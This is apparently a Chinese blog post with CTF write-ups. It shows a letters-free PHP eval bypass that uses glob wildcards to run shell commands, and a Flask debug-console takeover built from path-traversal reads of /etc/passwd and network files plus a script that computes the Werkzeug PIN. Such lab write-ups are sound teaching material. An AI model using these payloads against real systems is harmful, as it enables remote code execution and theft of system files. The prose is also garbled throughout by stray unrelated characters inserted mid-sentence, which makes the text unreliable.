學(xué)習(xí)CTF之安恒題記

前言

一邊無奈學(xué)習(xí)開發(fā)等龙,一邊不想放下自己的喜愛的信息安全方向甸箱。但我也怕顧此失彼啊闽坡,無奈栽惶。這里順手記錄下題解吧,不定時append

babybypass

出自:linkedbyX-11.11特別賽① PS:這個題目其實(shí)就是安恒9月web題原題疾嗅。

<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>

從GET中取code鍵值兩個要求

  • 長度不能超過35
  • 符合[A-Za-z0-9_$]+正則表達(dá)式外厂,不能出現(xiàn)字母數(shù)字和_$

Orz,感覺思考不出來代承,只記得ph牛博客中好像有一遍可以不用字母就能構(gòu)造shell的汁蝶。于是找了一波資料原來是這種操作。

因?yàn)檎齽t把$給限制了加之長度限制论悴,所以這里不能用構(gòu)造變量的方法掖棉,于是采用Linux下的glob通配符

  • *可以代替0個及以上任意字符
  • ?可以代表1個任意字符
GET /?code=?><?=`/???/???%20/???/???/????/*`?> HTTP/1.1
Host: 101.71.29.5:10049
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

?>先閉合前面,再<??>使用反引號來執(zhí)行shell命令

index.php源碼

讀到了index.php源碼膀估,flag文件就在/flag下面啊片,那就直接讀它

GET /?code=?><?=`/???/???%20/????`;?> HTTP/1.1
Host: 101.71.29.5:10049
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

flag{aa5237a5fc25af3fa07f1d724f7548d7}

這道題涉及到的知識點(diǎn)太多了,各位大佬的博客也是腦洞打開玖像,各種奇淫巧技都有紫谷。后面再專做文章研究吧,在此不展開

reference

粗心的程序員呀

出自:LinkedbyX-11.11特別賽③ PS:這個好像是8月月賽原題

打開地址捐寥,發(fā)現(xiàn)注冊會報錯笤昨,從錯誤信息中發(fā)現(xiàn)是Flask且開了debug,在頁面中需要pin碼就能打開console握恳。還發(fā)現(xiàn)了頁面image的src路徑有蹊蹺瞒窒。測試是base64編碼。于是存在任意文件讀取漏洞乡洼。

報錯

flask并不太熟悉崇裁,Python web我還沒好好學(xué)flask匕坯,于是看了一波資料。又是大佬們的長篇精彩分析拔稳,這題的題解如下

根據(jù)文章對pin碼的生成分析葛峻,要獲取6個變量值

username # 用戶名

modname # flask.app

getattr(app, '__name__', getattr(app.__class__, '__name__')) # Flask

getattr(mod, '__file__', None) # flask目錄下的一個app.py的絕對路徑

uuid.getnode() # mac地址十進(jìn)制

get_machine_id() # /etc/machine-id

放到這題中來分別讀取的payload為

  1. username為ctf,讀取../../..//etc/passwd 這里從頁面中知道了腳本路徑巴比,這里引用相對路徑术奖。還有即使不知道,無線向上..也是可以的轻绞,payload url為
    curl http://101.71.29.5:10057/image/Ly4uLy4uLy4uL2V0Yy9wYXNzd2Q=

  2. modename模塊名為flask.app

  3. uuid.getnode這個是mac地址十進(jìn)制采记,為2485377892354。我們先用讀/sys/class/net/eth0/address政勃,在轉(zhuǎn)下十進(jìn)制就好了唧龄,payload url為
    curl http://101.71.29.5:10057/image/Ly4uLy4uLy4uL3N5cy9jbGFzcy9uZXQvZXRoMC9hZGRyZXNz

  4. get_machine_id這個這里是空,/etc/machine-id/proc/sys/kernel/random/boot_id都空白內(nèi)容奸远。不知額

  5. app的__name__為Flask

  6. mod的__file__這里試了網(wǎng)頁上爆出的路徑為/usr/local/lib/python2.7/dist-packages/flask/app.py但是這樣生成的pin就是不對額既棺,后來看表哥們的wp,這里要用pyc然走。

    PS:pyc是Python的編譯后的字節(jié)碼文件援制,如果py文件沒有修改的話,都是執(zhí)行pyc文件的芍瑞,如果py源文件修改了pyc文件會重新編譯晨仑。而且還有一個很重要的點(diǎn),如果py源文件不存在拆檬,會執(zhí)行pyc文件的:榧骸!原pyc文件竟贯。

import hashlib
from itertools import chain
probably_public_bits = [
    'ctf',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python2.7/dist-packages/flask/app.pyc' # getattr(mod, '__file__', None),
]

private_bits = [
    '2485377892354'# str(uuid.getnode()),  /sys/class/net/eth0/address # 網(wǎng)卡十進(jìn)制答捕,讀完轉(zhuǎn)一下
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

最終的pin為131-442-946

然后在網(wǎng)頁中讀取下文件flag內(nèi)容

讀取flag

reference

Mark

  • Flask安全周邊學(xué)習(xí)
  • Flask開發(fā)學(xué)習(xí)

后續(xù)更新~

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市屑那,隨后出現(xiàn)的幾起案子拱镐,更是在濱河造成了極大的恐慌,老刑警劉巖持际,帶你破解...
    沈念sama閱讀 218,122評論 6 505
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件沃琅,死亡現(xiàn)場離奇詭異,居然都是意外死亡蜘欲,警方通過查閱死者的電腦和手機(jī)益眉,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,070評論 3 395
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人郭脂,你說我怎么就攤上這事年碘。” “怎么了展鸡?”我有些...
    開封第一講書人閱讀 164,491評論 0 354
  • 文/不壞的土叔 我叫張陵屿衅,是天一觀的道長。 經(jīng)常有香客問我娱颊,道長傲诵,這世上最難降的妖魔是什么凯砍? 我笑而不...
    開封第一講書人閱讀 58,636評論 1 293
  • 正文 為了忘掉前任箱硕,我火速辦了婚禮,結(jié)果婚禮上悟衩,老公的妹妹穿的比我還像新娘剧罩。我一直安慰自己,他們只是感情好座泳,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,676評論 6 392
  • 文/花漫 我一把揭開白布惠昔。 她就那樣靜靜地躺著,像睡著了一般挑势。 火紅的嫁衣襯著肌膚如雪镇防。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,541評論 1 305
  • 那天潮饱,我揣著相機(jī)與錄音来氧,去河邊找鬼。 笑死香拉,一個胖子當(dāng)著我的面吹牛啦扬,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播凫碌,決...
    沈念sama閱讀 40,292評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼扑毡,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了盛险?” 一聲冷哼從身側(cè)響起瞄摊,我...
    開封第一講書人閱讀 39,211評論 0 276
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎苦掘,沒想到半個月后换帜,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,655評論 1 314
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡鸟蜡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,846評論 3 336
  • 正文 我和宋清朗相戀三年膜赃,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片揉忘。...
    茶點(diǎn)故事閱讀 39,965評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡跳座,死狀恐怖端铛,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情疲眷,我是刑警寧澤禾蚕,帶...
    沈念sama閱讀 35,684評論 5 347
  • 正文 年R本政府宣布,位于F島的核電站狂丝,受9級特大地震影響换淆,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜几颜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,295評論 3 329
  • 文/蒙蒙 一倍试、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧蛋哭,春花似錦县习、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,894評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至沪蓬,卻和暖如春彤钟,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背跷叉。 一陣腳步聲響...
    開封第一講書人閱讀 33,012評論 1 269
  • 我被黑心中介騙來泰國打工逸雹, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人性芬。 一個月前我還...
    沈念sama閱讀 48,126評論 3 370
  • 正文 我出身青樓峡眶,卻偏偏與公主長得像,于是被迫代替她去往敵國和親植锉。 傳聞我的和親對象是個殘疾皇子辫樱,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,914評論 2 355

推薦閱讀更多精彩內(nèi)容

  • 在一部我以為是魔幻愛情片、實(shí)際卻是恐怖片的電影里俊庇,講到了時間線狮暑,如果用我自己的語言講,就是當(dāng)一個結(jié)點(diǎn)發(fā)生了變化辉饱,之...
    春少邪閱讀 260評論 1 1
  • 許多應(yīng)用中會有視圖圓角效果, 如頭像會切成圓形樣式顯示 直接設(shè)置視圖layer層屬性 貝塞爾曲線UIBezierP...
    CoderCurtis閱讀 954評論 0 0
  • 你沒有故事里的天賦異稟 曾經(jīng)有人說搬男,你沒有故事里的天賦異稟 我沒說話,但我知道彭沼,就是那樣 一個人的英雄夢終究徒勞無...
    歪一閱讀 625評論 0 2